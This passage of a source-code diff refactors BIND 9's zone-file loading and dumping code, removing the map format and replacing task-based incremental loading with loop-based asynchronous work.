 		result = DNS_R_SEENINCLUDE;
 	}
+
 	goto cleanup;
 
 log_and_cleanup:
@@ -2130,11 +2123,11 @@ load_text(dns_loadctx_t *lctx) {
 		ISC_LIST_UNLINK(glue_list, this, link);
 	}
 	if (rdatalist != NULL) {
-		isc_mem_put(mctx, rdatalist,
-			    rdatalist_size * sizeof(*rdatalist));
+		isc_mem_cput(mctx, rdatalist, rdatalist_size,
+			     sizeof(*rdatalist));
 	}
 	if (rdata != NULL) {
-		isc_mem_put(mctx, rdata, rdata_size * sizeof(*rdata));
+		isc_mem_cput(mctx, rdata, rdata_size, sizeof(*rdata));
 	}
 	if (target_mem != NULL) {
 		isc_mem_put(mctx, target_mem, target_size);
@@ -2154,6 +2147,7 @@ load_text(dns_loadctx_t *lctx) {
 	if (rhs != NULL) {
 		isc_mem_free(mctx, rhs);
 	}
+
 	return (result);
 }
 
@@ -2170,10 +2164,7 @@ pushfile(const char *master_file, dns_name_t *origin, dns_loadctx_t *lctx) {
 	ictx = lctx->inc;
 	lctx->seen_include = true;
 
-	result = incctx_create(lctx->mctx, origin, &newctx);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
+	incctx_create(lctx->mctx, origin, &newctx);
 
 	/*
 	 * Push origin_changed.
@@ -2213,7 +2204,7 @@ pushfile(const char *master_file, dns_name_t *origin, dns_loadctx_t *lctx) {
  * Fill/check exists buffer with 'len' bytes.  Track remaining bytes to be
  * read when incrementally filling the buffer.
  */
-static inline isc_result_t
+static isc_result_t
 read_and_check(bool do_read, isc_buffer_t *buffer, size_t len, FILE *f,
 	       uint32_t *totallen) {
 	isc_result_t result;
@@ -2251,9 +2242,7 @@ load_header(dns_loadctx_t *lctx) {
 
 	REQUIRE(DNS_LCTX_VALID(lctx));
 
-	if (lctx->format != dns_masterformat_raw &&
-	    lctx->format != dns_masterformat_map)
-	{
+	if (lctx->format != dns_masterformat_raw) {
 		return (ISC_R_NOTIMPLEMENTED);
 	}
 
@@ -2265,8 +2254,7 @@ load_header(dns_loadctx_t *lctx) {
 
 	result = isc_stdio_read(data, 1, commonlen, lctx->f, NULL);
 	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "isc_stdio_read failed: %s",
+		UNEXPECTED_ERROR("isc_stdio_read failed: %s",
 				 isc_result_totext(result));
 		return (result);
 	}
@@ -2276,10 +2264,7 @@ load_header(dns_loadctx_t *lctx) {
 	if (header.format != lctx->format) {
 		(*callbacks->error)(callbacks,
 				    "dns_master_load: "
-				    "file format mismatch (not %s)",
-				    lctx->format == dns_masterformat_map ? "map"
-									 : "ra"
-									   "w");
+				    "file format mismatch (not raw)");
 		return (ISC_R_NOTIMPLEMENTED);
 	}
 
@@ -2301,8 +2286,7 @@ load_header(dns_loadctx_t *lctx) {
 
 	result = isc_stdio_read(data + commonlen, 1, remainder, lctx->f, NULL);
 	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "isc_stdio_read failed: %s",
+		UNEXPECTED_ERROR("isc_stdio_read failed: %s",
 				 isc_result_totext(result));
 		return (result);
 	}
@@ -2321,54 +2305,13 @@ load_header(dns_loadctx_t *lctx) {
 	return (ISC_R_SUCCESS);
 }
 
-static isc_result_t
-openfile_map(dns_loadctx_t *lctx, const char *master_file) {
-	isc_result_t result;
-
-	result = isc_stdio_open(master_file, "rb", &lctx->f);
-	if (result != ISC_R_SUCCESS && result != ISC_R_FILENOTFOUND) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "isc_stdio_open() failed: %s",
-				 isc_result_totext(result));
-	}
-
-	return (result);
-}
-
-/*
- * Load a map format file, using mmap() to access RBT trees directly
- */
-static isc_result_t
-load_map(dns_loadctx_t *lctx) {
-	isc_result_t result = ISC_R_SUCCESS;
-	dns_rdatacallbacks_t *callbacks;
-
-	REQUIRE(DNS_LCTX_VALID(lctx));
-
-	callbacks = lctx->callbacks;
-
-	if (lctx->first) {
-		result = load_header(lctx);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-
-		result = (*callbacks->deserialize)(
-			callbacks->deserialize_private, lctx->f,
-			sizeof(dns_masterrawheader_t));
-	}
-
-	return (result);
-}
-
 static isc_result_t
 openfile_raw(dns_loadctx_t *lctx, const char *master_file) {
 	isc_result_t result;
 
 	result = isc_stdio_open(master_file, "rb", &lctx->f);
 	if (result != ISC_R_SUCCESS && result != ISC_R_FILENOTFOUND) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "isc_stdio_open() failed: %s",
+		UNEXPECTED_ERROR("isc_stdio_open() failed: %s",
 				 isc_result_totext(result));
 	}
 
@@ -2378,8 +2321,6 @@ openfile_raw(dns_loadctx_t *lctx, const char *master_file) {
 static isc_result_t
 load_raw(dns_loadctx_t *lctx) {
 	isc_result_t result = ISC_R_SUCCESS;
-	bool done = false;
-	unsigned int loop_cnt = 0;
 	dns_rdatacallbacks_t *callbacks;
 	unsigned char namebuf[DNS_NAME_MAXWIRE];
 	dns_fixedname_t fixed;
@@ -2395,7 +2336,7 @@ load_raw(dns_loadctx_t *lctx) {
 	dns_decompress_t dctx;
 
 	callbacks = lctx->callbacks;
-	dns_decompress_init(&dctx, -1, DNS_DECOMPRESS_NONE);
+	dctx = DNS_DECOMPRESS_NEVER;
 
 	if (lctx->first) {
 		result = load_header(lctx);
@@ -2424,9 +2365,7 @@ load_raw(dns_loadctx_t *lctx) {
 	 * in this format, and so trying to continue parsing erroneous data
 	 * does not really make sense.
 	 */
-	for (loop_cnt = 0; (lctx->loop_cnt == 0 || loop_cnt < lctx->loop_cnt);
-	     loop_cnt++)
-	{
+	while (true) {
 		unsigned int i, rdcount;
 		uint16_t namelen;
 		uint32_t totallen;
@@ -2440,7 +2379,6 @@ load_raw(dns_loadctx_t *lctx) {
 					lctx->f, NULL);
 		if (result == ISC_R_EOF) {
 			result = ISC_R_SUCCESS;
-			done = true;
 			break;
 		}
 		if (result != ISC_R_SUCCESS) {
@@ -2528,13 +2466,14 @@ load_raw(dns_loadctx_t *lctx) {
 		}
 
 		isc_buffer_setactive(&target, (unsigned int)namelen);
-		result = dns_name_fromwire(name, &target, &dctx, 0, NULL);
+		result = dns_name_fromwire(name, &target, dctx, NULL);
 		if (result != ISC_R_SUCCESS) {
 			goto cleanup;
 		}
 
 		if ((lctx->options & DNS_MASTER_CHECKTTL) != 0 &&
-		    rdatalist.ttl > lctx->maxttl) {
+		    rdatalist.ttl > lctx->maxttl)
+		{
 			(callbacks->error)(callbacks,
 					   "dns_master_load: "
 					   "TTL %d exceeds configured "
@@ -2565,7 +2504,8 @@ load_raw(dns_loadctx_t *lctx) {
 			dns_rdata_init(&rdata[i]);
 
 			if (sequential_read &&
-			    isc_buffer_availablelength(&target) < MINTSIZ) {
+			    isc_buffer_availablelength(&target) < MINTSIZ)
+			{
 				unsigned int j;
 
 				INSIST(i > 0); /* detect an infinite loop */
@@ -2617,7 +2557,7 @@ load_raw(dns_loadctx_t *lctx) {
 					(unsigned int)rdlen);
 			result = dns_rdata_fromwire(
 				&rdata[i], rdatalist.rdclass, rdatalist.type,
-				&target, &dctx, 0, &buf);
+				&target, dctx, &buf);
 			if (result != ISC_R_SUCCESS) {
 				goto cleanup;
 			}
@@ -2649,10 +2589,7 @@ load_raw(dns_loadctx_t *lctx) {
 		}
 	}
 
-	if (!done) {
-		INSIST(lctx->done != NULL && lctx->task != NULL);
-		result = DNS_R_CONTINUE;
-	} else if (result == ISC_R_SUCCESS && lctx->result != ISC_R_SUCCESS) {
+	if (result == ISC_R_SUCCESS && lctx->result != ISC_R_SUCCESS) {
 		result = lctx->result;
 	}
 
@@ -2662,14 +2599,14 @@ load_raw(dns_loadctx_t *lctx) {
 
 cleanup:
 	if (rdata != NULL) {
-		isc_mem_put(mctx, rdata, rdata_size * sizeof(*rdata));
+		isc_mem_cput(mctx, rdata, rdata_size, sizeof(*rdata));
 	}
 	if (target_mem != NULL) {
 		isc_mem_put(mctx, target_mem, target_size);
 	}
-	if (result != ISC_R_SUCCESS && result != DNS_R_CONTINUE) {
+	if (result != ISC_R_SUCCESS) {
 		(*callbacks->error)(callbacks, "dns_master_load: %s",
-				    dns_result_totext(result));
+				    isc_result_totext(result));
 	}
 
 	return (result);
@@ -2686,12 +2623,9 @@ dns_master_loadfile(const char *master_file, dns_name_t *top,
 	dns_loadctx_t *lctx = NULL;
 	isc_result_t result;
 
-	result = loadctx_create(format, mctx, options, resign, top, zclass,
-				origin, callbacks, NULL, NULL, NULL, include_cb,
-				include_arg, NULL, &lctx);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
+	loadctx_create(format, mctx, options, resign, top, zclass, origin,
+		       callbacks, NULL, NULL, include_cb, include_arg, NULL,
+		       &lctx);
 
 	lctx->maxttl = maxttl;
 
@@ -2708,44 +2642,52 @@ dns_master_loadfile(const char *master_file, dns_name_t *top,
 	return (result);
 }
 
+static void
+load(void *arg) {
+	dns_loadctx_t *lctx = arg;
+	lctx->result = (lctx->load)(lctx);
+}
+
+static void
+load_done(void *arg) {
+	dns_loadctx_t *lctx = arg;
+
+	(lctx->done)(lctx->done_arg, lctx->result);
+	dns_loadctx_detach(&lctx);
+}
+
 isc_result_t
-dns_master_loadfileinc(const char *master_file, dns_name_t *top,
-		       dns_name_t *origin, dns_rdataclass_t zclass,
-		       unsigned int options, uint32_t resign,
-		       dns_rdatacallbacks_t *callbacks, isc_task_t *task,
-		       dns_loaddonefunc_t done, void *done_arg,
-		       dns_loadctx_t **lctxp, dns_masterincludecb_t include_cb,
-		       void *include_arg, isc_mem_t *mctx,
-		       dns_masterformat_t format, uint32_t maxttl) {
+dns_master_loadfileasync(const char *master_file, dns_name_t *top,
+			 dns_name_t *origin, dns_rdataclass_t zclass,
+			 unsigned int options, uint32_t resign,
+			 dns_rdatacallbacks_t *callbacks, isc_loop_t *loop,
+			 dns_loaddonefunc_t done, void *done_arg,
+			 dns_loadctx_t **lctxp,
+			 dns_masterincludecb_t include_cb, void *include_arg,
+			 isc_mem_t *mctx, dns_masterformat_t format,
+			 uint32_t maxttl) {
 	dns_loadctx_t *lctx = NULL;
 	isc_result_t result;
 
-	REQUIRE(task != NULL);
+	REQUIRE(loop != NULL);
 	REQUIRE(done != NULL);
 
-	result = loadctx_create(format, mctx, options, resign, top, zclass,
-				origin, callbacks, task, done, done_arg,
-				include_cb, include_arg, NULL, &lctx);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
+	loadctx_create(format, mctx, options, resign, top, zclass, origin,
+		       callbacks, done, done_arg, include_cb, include_arg, NULL,
+		       &lctx);
 
 	lctx->maxttl = maxttl;
 
 	result = (lctx->openfile)(lctx, master_file);
 	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
+		dns_loadctx_detach(&lctx);
+		return (result);
 	}
 
-	result = task_send(lctx);
-	if (result == ISC_R_SUCCESS) {
-		dns_loadctx_attach(lctx, lctxp);
-		return (DNS_R_CONTINUE);
-	}
+	dns_loadctx_attach(lctx, lctxp);
+	isc_work_enqueue(loop, load, load_done, lctx);
 
-cleanup:
-	dns_loadctx_detach(&lctx);
-	return (result);
+	return (ISC_R_SUCCESS);
 }
 
 isc_result_t
@@ -2757,12 +2699,8 @@ dns_master_loadstream(FILE *stream, dns_name_t *top, dns_name_t *origin,
 
 	REQUIRE(stream != NULL);
 
-	result = loadctx_create(dns_masterformat_text, mctx, options, 0, top,
-				zclass, origin, callbacks, NULL, NULL, NULL,
-				NULL, NULL, NULL, &lctx);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	loadctx_create(dns_masterformat_text, mctx, options, 0, top, zclass,
+		       origin, callbacks, NULL, NULL, NULL, NULL, NULL, &lctx);
 
 	result = isc_lex_openstream(lctx->lex, stream);
 	if (result != ISC_R_SUCCESS) {
@@ -2773,47 +2711,7 @@ dns_master_loadstream(FILE *stream, dns_name_t *top, dns_name_t *origin,
 	INSIST(result != DNS_R_CONTINUE);
 
 cleanup:
-	if (lctx != NULL) {
-		dns_loadctx_detach(&lctx);
-	}
-	return (result);
-}
-
-isc_result_t
-dns_master_loadstreaminc(FILE *stream, dns_name_t *top, dns_name_t *origin,
-			 dns_rdataclass_t zclass, unsigned int options,
-			 dns_rdatacallbacks_t *callbacks, isc_task_t *task,
-			 dns_loaddonefunc_t done, void *done_arg,
-			 dns_loadctx_t **lctxp, isc_mem_t *mctx) {
-	isc_result_t result;
-	dns_loadctx_t *lctx = NULL;
-
-	REQUIRE(stream != NULL);
-	REQUIRE(task != NULL);
-	REQUIRE(done != NULL);
-
-	result = loadctx_create(dns_masterformat_text, mctx, options, 0, top,
-				zclass, origin, callbacks, task, done, done_arg,
-				NULL, NULL, NULL, &lctx);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
-
-	result = isc_lex_openstream(lctx->lex, stream);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
-
-	result = task_send(lctx);
-	if (result == ISC_R_SUCCESS) {
-		dns_loadctx_attach(lctx, lctxp);
-		return (DNS_R_CONTINUE);
-	}
-
-cleanup:
-	if (lctx != NULL) {
-		dns_loadctx_detach(&lctx);
-	}
+	dns_loadctx_detach(&lctx);
 	return (result);
 }
 
@@ -2826,12 +2724,8 @@ dns_master_loadbuffer(isc_buffer_t *buffer, dns_name_t *top, dns_name_t *origin,
 
 	REQUIRE(buffer != NULL);
 
-	result = loadctx_create(dns_masterformat_text, mctx, options, 0, top,
-				zclass, origin, callbacks, NULL, NULL, NULL,
-				NULL, NULL, NULL, &lctx);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
+	loadctx_create(dns_masterformat_text, mctx, options, 0, top, zclass,
+		       origin, callbacks, NULL, NULL, NULL, NULL, NULL, &lctx);
 
 	result = isc_lex_openbuffer(lctx->lex, buffer);
 	if (result != ISC_R_SUCCESS) {
@@ -2846,96 +2740,6 @@ dns_master_loadbuffer(isc_buffer_t *buffer, dns_name_t *top, dns_name_t *origin,
 	return (result);
 }
 
-isc_result_t
-dns_master_loadbufferinc(isc_buffer_t *buffer, dns_name_t *top,
-			 dns_name_t *origin, dns_rdataclass_t zclass,
-			 unsigned int options, dns_rdatacallbacks_t *callbacks,
-			 isc_task_t *task, dns_loaddonefunc_t done,
-			 void *done_arg, dns_loadctx_t **lctxp,
-			 isc_mem_t *mctx) {
-	isc_result_t result;
-	dns_loadctx_t *lctx = NULL;
-
-	REQUIRE(buffer != NULL);
-	REQUIRE(task != NULL);
-	REQUIRE(done != NULL);
-
-	result = loadctx_create(dns_masterformat_text, mctx, options, 0, top,
-				zclass, origin, callbacks, task, done, done_arg,
-				NULL, NULL, NULL, &lctx);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	result = isc_lex_openbuffer(lctx->lex, buffer);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
-
-	result = task_send(lctx);
-	if (result == ISC_R_SUCCESS) {
-		dns_loadctx_attach(lctx, lctxp);
-		return (DNS_R_CONTINUE);
-	}
-
-cleanup:
-	dns_loadctx_detach(&lctx);
-	return (result);
-}
-
-isc_result_t
-dns_master_loadlexer(isc_lex_t *lex, dns_name_t *top, dns_name_t *origin,
-		     dns_rdataclass_t zclass, unsigned int options,
-		     dns_rdatacallbacks_t *callbacks, isc_mem_t *mctx) {
-	isc_result_t result;
-	dns_loadctx_t *lctx = NULL;
-
-	REQUIRE(lex != NULL);
-
-	result = loadctx_create(dns_masterformat_text, mctx, options, 0, top,
-				zclass, origin, callbacks, NULL, NULL, NULL,
-				NULL, NULL, lex, &lctx);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	result = (lctx->load)(lctx);
-	INSIST(result != DNS_R_CONTINUE);
-
-	dns_loadctx_detach(&lctx);
-	return (result);
-}
-
-isc_result_t
-dns_master_loadlexerinc(isc_lex_t *lex, dns_name_t *top, dns_name_t *origin,
-			dns_rdataclass_t zclass, unsigned int options,
-			dns_rdatacallbacks_t *callbacks, isc_task_t *task,
-			dns_loaddonefunc_t done, void *done_arg,
-			dns_loadctx_t **lctxp, isc_mem_t *mctx) {
-	isc_result_t result;
-	dns_loadctx_t *lctx = NULL;
-
-	REQUIRE(lex != NULL);
-	REQUIRE(task != NULL);
-	REQUIRE(done != NULL);
-
-	result = loadctx_create(dns_masterformat_text, mctx, options, 0, top,
-				zclass, origin, callbacks, task, done, done_arg,
-				NULL, NULL, lex, &lctx);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	result = task_send(lctx);
-	if (result == ISC_R_SUCCESS) {
-		dns_loadctx_attach(lctx, lctxp);
-		return (DNS_R_CONTINUE);
-	}
-
-	dns_loadctx_detach(&lctx);
-	return (result);
-}
-
 /*
  * Grow the slab of dns_rdatalist_t structures.
  * Re-link glue and current list.
@@ -2949,10 +2753,7 @@ grow_rdatalist(int new_len, dns_rdatalist_t *oldlist, int old_len,
 	ISC_LIST(dns_rdatalist_t) save;
 	dns_rdatalist_t *this;
 
-	newlist = isc_mem_get(mctx, new_len * sizeof(*newlist));
-	if (newlist == NULL) {
-		return (NULL);
-	}
+	newlist = isc_mem_cget(mctx, new_len, sizeof(newlist[0]));
 
 	ISC_LIST_INIT(save);
 	while ((this = ISC_LIST_HEAD(*current)) != NULL) {
@@ -2982,7 +2783,7 @@ grow_rdatalist(int new_len, dns_rdatalist_t *oldlist, int old_len,
 
 	INSIST(rdlcount == old_len);
 	if (oldlist != NULL) {
-		isc_mem_put(mctx, oldlist, old_len * sizeof(*oldlist));
+		isc_mem_cput(mctx, oldlist, old_len, sizeof(*oldlist));
 	}
 	return (newlist);
 }
@@ -3000,11 +2801,7 @@ grow_rdata(int new_len, dns_rdata_t *oldlist, int old_len,
 	dns_rdatalist_t *this;
 	dns_rdata_t *rdata;
 
-	newlist = isc_mem_get(mctx, new_len * sizeof(*newlist));
-	if (newlist == NULL) {
-		return (NULL);
-	}
-	memset(newlist, 0, new_len * sizeof(*newlist));
+	newlist = isc_mem_cget(mctx, new_len, sizeof(*newlist));
 
 	/*
 	 * Copy current relinking.
@@ -3047,7 +2844,7 @@ grow_rdata(int new_len, dns_rdata_t *oldlist, int old_len,
 	}
 	INSIST(rdcount == old_len || rdcount == 0);
 	if (oldlist != NULL) {
-		isc_mem_put(mctx, oldlist, old_len * sizeof(*oldlist));
+		isc_mem_cput(mctx, oldlist, old_len, sizeof(*oldlist));
 	}
 	return (newlist);
 }
@@ -3103,8 +2900,7 @@ commit(dns_rdatacallbacks_t *callbacks, dns_loadctx_t *lctx,
 	}
 	do {
 		dns_rdataset_init(&dataset);
-		RUNTIME_CHECK(dns_rdatalist_tordataset(this, &dataset) ==
-			      ISC_R_SUCCESS);
+		dns_rdatalist_tordataset(this, &dataset);
 		dataset.trust = dns_trust_ultimate;
 		/*
 		 * If this is a secure dynamic zone set the re-signing time.
@@ -3116,20 +2912,20 @@ commit(dns_rdatacallbacks_t *callbacks, dns_loadctx_t *lctx,
 			dataset.resign = resign_fromlist(this, lctx);
 		}
 		result = ((*callbacks->add)(callbacks->add_private, owner,
-					    &dataset));
+					    &dataset DNS__DB_FILELINE));
 		if (result == ISC_R_NOMEMORY) {
 			(*error)(callbacks, "dns_master_load: %s",
-				 dns_result_totext(result));
+				 isc_result_totext(result));
 		} else if (result != ISC_R_SUCCESS) {
 			dns_name_format(owner, namebuf, sizeof(namebuf));
 			if (source != NULL) {
 				(*error)(callbacks, "%s: %s:%lu: %s: %s",
 					 "dns_master_load", source, line,
-					 namebuf, dns_result_totext(result));
+					 namebuf, isc_result_totext(result));
 			} else {
 				(*error)(callbacks, "%s: %s: %s",
 					 "dns_master_load", namebuf,
-					 dns_result_totext(result));
+					 isc_result_totext(result));
 			}
 		}
 		if (MANYERRS(lctx, result)) {
@@ -3181,40 +2977,6 @@ is_glue(rdatalist_head_t *head, dns_name_t *owner) {
 	return (false);
 }
 
-static void
-load_quantum(isc_task_t *task, isc_event_t *event) {
-	isc_result_t result;
-	dns_loadctx_t *lctx;
-
-	REQUIRE(event != NULL);
-	lctx = event->ev_arg;
-	REQUIRE(DNS_LCTX_VALID(lctx));
-
-	if (atomic_load_acquire(&lctx->canceled)) {
-		result = ISC_R_CANCELED;
-	} else {
-		result = (lctx->load)(lctx);
-	}
-	if (result == DNS_R_CONTINUE) {
-		event->ev_arg = lctx;
-		isc_task_send(task, &event);
-	} else {
-		(lctx->done)(lctx->done_arg, result);
-		isc_event_free(&event);
-		dns_loadctx_detach(&lctx);
-	}
-}
-
-static isc_result_t
-task_send(dns_loadctx_t *lctx) {
-	isc_event_t *event;
-
-	event = isc_event_allocate(lctx->mctx, NULL, DNS_EVENT_MASTERQUANTUM,
-				   load_quantum, lctx, sizeof(*event));
-	isc_task_send(lctx->task, &event);
-	return (ISC_R_SUCCESS);
-}
-
 void
 dns_loadctx_cancel(dns_loadctx_t *lctx) {
 	REQUIRE(DNS_LCTX_VALID(lctx));
diff --git a/lib/dns/masterdump.c b/lib/dns/masterdump.c
index 31304380d4..32b13b630f 100644
--- a/lib/dns/masterdump.c
+++ b/lib/dns/masterdump.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -15,26 +17,25 @@
 #include <stdbool.h>
 #include <stdlib.h>
 
+#include <isc/async.h>
 #include <isc/atomic.h>
 #include <isc/buffer.h>
-#include <isc/event.h>
 #include <isc/file.h>
+#include <isc/loop.h>
 #include <isc/magic.h>
 #include <isc/mem.h>
-#include <isc/print.h>
 #include <isc/refcount.h>
+#include <isc/result.h>
 #include <isc/stdio.h>
 #include <isc/string.h>
-#include <isc/task.h>
 #include <isc/time.h>
 #include <isc/types.h>
 #include <isc/util.h>
+#include <isc/work.h>
 
 #include <dns/db.h>
 #include <dns/dbiterator.h>
-#include <dns/events.h>
 #include <dns/fixedname.h>
-#include <dns/lib.h>
 #include <dns/log.h>
 #include <dns/master.h>
 #include <dns/masterdump.h>
@@ -44,7 +45,6 @@
 #include <dns/rdataset.h>
 #include <dns/rdatasetiter.h>
 #include <dns/rdatatype.h>
-#include <dns/result.h>
 #include <dns/time.h>
 #include <dns/ttl.h>
 
@@ -105,7 +105,7 @@ typedef struct dns_totext_ctx {
 	dns_indent_t indent;
 } dns_totext_ctx_t;
 
-LIBDNS_EXTERNAL_DATA const dns_master_style_t dns_master_style_keyzone = {
+const dns_master_style_t dns_master_style_keyzone = {
 	DNS_STYLEFLAG_OMIT_OWNER | DNS_STYLEFLAG_OMIT_CLASS |
 		DNS_STYLEFLAG_REL_OWNER | DNS_STYLEFLAG_REL_DATA |
 		DNS_STYLEFLAG_OMIT_TTL | DNS_STYLEFLAG_TTL |
@@ -120,7 +120,7 @@ LIBDNS_EXTERNAL_DATA const dns_master_style_t dns_master_style_keyzone = {
 	UINT_MAX
 };
 
-LIBDNS_EXTERNAL_DATA const dns_master_style_t dns_master_style_default = {
+const dns_master_style_t dns_master_style_default = {
 	DNS_STYLEFLAG_OMIT_OWNER | DNS_STYLEFLAG_OMIT_CLASS |
 		DNS_STYLEFLAG_REL_OWNER | DNS_STYLEFLAG_REL_DATA |
 		DNS_STYLEFLAG_OMIT_TTL | DNS_STYLEFLAG_TTL |
@@ -135,7 +135,7 @@ LIBDNS_EXTERNAL_DATA const dns_master_style_t dns_master_style_default = {
 	UINT_MAX
 };
 
-LIBDNS_EXTERNAL_DATA const dns_master_style_t dns_master_style_full = {
+const dns_master_style_t dns_master_style_full = {
 	DNS_STYLEFLAG_COMMENT | DNS_STYLEFLAG_RESIGN,
 	46,
 	46,
@@ -146,11 +146,10 @@ LIBDNS_EXTERNAL_DATA const dns_master_style_t dns_master_style_full = {
 	UINT_MAX
 };
 
-LIBDNS_EXTERNAL_DATA const dns_master_style_t dns_master_style_explicitttl = {
+const dns_master_style_t dns_master_style_explicitttl = {
 	DNS_STYLEFLAG_OMIT_OWNER | DNS_STYLEFLAG_OMIT_CLASS |
-		DNS_STYLEFLAG_REL_OWNER | DNS_STYLEFLAG_REL_DATA |
-		DNS_STYLEFLAG_COMMENT | DNS_STYLEFLAG_RRCOMMENT |
-		DNS_STYLEFLAG_MULTILINE,
+		DNS_STYLEFLAG_CLASS_PERNAME | DNS_STYLEFLAG_COMMENT |
+		DNS_STYLEFLAG_RRCOMMENT | DNS_STYLEFLAG_MULTILINE,
 	24,
 	32,
 	32,
@@ -160,7 +159,7 @@ LIBDNS_EXTERNAL_DATA const dns_master_style_t dns_master_style_explicitttl = {
 	UINT_MAX
 };
 
-LIBDNS_EXTERNAL_DATA const dns_master_style_t dns_master_style_cache = {
+const dns_master_style_t dns_master_style_cache = {
 	DNS_STYLEFLAG_OMIT_OWNER | DNS_STYLEFLAG_OMIT_CLASS |
 		DNS_STYLEFLAG_MULTILINE | DNS_STYLEFLAG_RRCOMMENT |
 		DNS_STYLEFLAG_TRUST | DNS_STYLEFLAG_NCACHE,
@@ -173,36 +172,34 @@ LIBDNS_EXTERNAL_DATA const dns_master_style_t dns_master_style_cache = {
 	UINT_MAX
 };
 
-LIBDNS_EXTERNAL_DATA const dns_master_style_t
-	dns_master_style_cache_with_expired = {
-		DNS_STYLEFLAG_OMIT_OWNER | DNS_STYLEFLAG_OMIT_CLASS |
-			DNS_STYLEFLAG_MULTILINE | DNS_STYLEFLAG_RRCOMMENT |
-			DNS_STYLEFLAG_TRUST | DNS_STYLEFLAG_NCACHE |
-			DNS_STYLEFLAG_EXPIRED,
-		24,
-		32,
-		32,
-		40,
-		80,
-		8,
-		UINT_MAX
-	};
-
-LIBDNS_EXTERNAL_DATA const dns_master_style_t dns_master_style_simple = {
-	0, 24, 32, 32, 40, 80, 8, UINT_MAX
+const dns_master_style_t dns_master_style_cache_with_expired = {
+	DNS_STYLEFLAG_OMIT_OWNER | DNS_STYLEFLAG_OMIT_CLASS |
+		DNS_STYLEFLAG_MULTILINE | DNS_STYLEFLAG_RRCOMMENT |
+		DNS_STYLEFLAG_TRUST | DNS_STYLEFLAG_NCACHE |
+		DNS_STYLEFLAG_EXPIRED,
+	24,
+	32,
+	32,
+	40,
+	80,
+	8,
+	UINT_MAX
 };
 
+const dns_master_style_t dns_master_style_simple = { 0,	 24, 32, 32,
+						     40, 80, 8,	 UINT_MAX };
+
 /*%
  * A style suitable for dns_rdataset_totext().
  */
-LIBDNS_EXTERNAL_DATA const dns_master_style_t dns_master_style_debug = {
+const dns_master_style_t dns_master_style_debug = {
 	DNS_STYLEFLAG_REL_OWNER, 24, 32, 40, 48, 80, 8, UINT_MAX
 };
 
 /*%
  * Similar, but indented (i.e., prepended with indentctx.string).
  */
-LIBDNS_EXTERNAL_DATA const dns_master_style_t dns_master_style_indent = {
+const dns_master_style_t dns_master_style_indent = {
 	DNS_STYLEFLAG_REL_OWNER | DNS_STYLEFLAG_INDENT,
 	24,
 	32,
@@ -216,7 +213,7 @@ LIBDNS_EXTERNAL_DATA const dns_master_style_t dns_master_style_indent = {
 /*%
  * Similar, but with each line commented out.
  */
-LIBDNS_EXTERNAL_DATA const dns_master_style_t dns_master_style_comment = {
+const dns_master_style_t dns_master_style_comment = {
 	DNS_STYLEFLAG_REL_OWNER | DNS_STYLEFLAG_MULTILINE |
 		DNS_STYLEFLAG_RRCOMMENT | DNS_STYLEFLAG_COMMENTDATA,
 	24,
@@ -231,7 +228,7 @@ LIBDNS_EXTERNAL_DATA const dns_master_style_t dns_master_style_comment = {
 /*%
  * YAML style
  */
-LIBDNS_EXTERNAL_DATA const dns_master_style_t dns_master_style_yaml = {
+const dns_master_style_t dns_master_style_yaml = {
 	DNS_STYLEFLAG_YAML | DNS_STYLEFLAG_REL_OWNER | DNS_STYLEFLAG_INDENT,
 	24,
 	32,
@@ -261,7 +258,6 @@ struct dns_dumpctx {
 	dns_dbversion_t *version;
 	dns_dbiterator_t *dbiter;
 	dns_totext_ctx_t tctx;
-	isc_task_t *task;
 	dns_dumpdonefunc_t done;
 	void *done_arg;
 	/* dns_master_dumpasync() */
@@ -307,7 +303,7 @@ indent(unsigned int *current, unsigned int to, int tabwidth,
 
 	if (ntabs > 0) {
 		isc_buffer_availableregion(target, &r);
-		if (r.length < (unsigned)ntabs) {
+		if (r.length < (unsigned int)ntabs) {
 			return (ISC_R_NOSPACE);
 		}
 		p = r.base;
@@ -330,7 +326,7 @@ indent(unsigned int *current, unsigned int to, int tabwidth,
 	INSIST(nspaces >= 0);
 
 	isc_buffer_availableregion(target, &r);
-	if (r.length < (unsigned)nspaces) {
+	if (r.length < (unsigned int)nspaces) {
 		return (ISC_R_NOSPACE);
 	}
 	p = r.base;
@@ -507,7 +503,10 @@ ncache_summary(dns_rdataset_t *rdataset, bool omit_final_dot,
 				CHECK(str_totext("; ", target));
 			}
 
-			CHECK(dns_name_totext(&name, omit_final_dot, target));
+			CHECK(dns_name_totext(
+				&name,
+				omit_final_dot ? DNS_NAME_OMITFINALDOT : 0,
+				target));
 			CHECK(str_totext(" ", target));
 			CHECK(dns_rdatatype_totext(rds.type, target));
 			if (rds.type == dns_rdatatype_rrsig) {
@@ -607,7 +606,10 @@ rdataset_totext(dns_rdataset_t *rdataset, const dns_name_t *owner_name,
 		      !first))
 		{
 			unsigned int name_start = target->used;
-			RETERR(dns_name_totext(name, omit_final_dot, target));
+			RETERR(dns_name_totext(
+				name,
+				omit_final_dot ? DNS_NAME_OMITFINALDOT : 0,
+				target));
 			column += target->used - name_start;
 		}
 
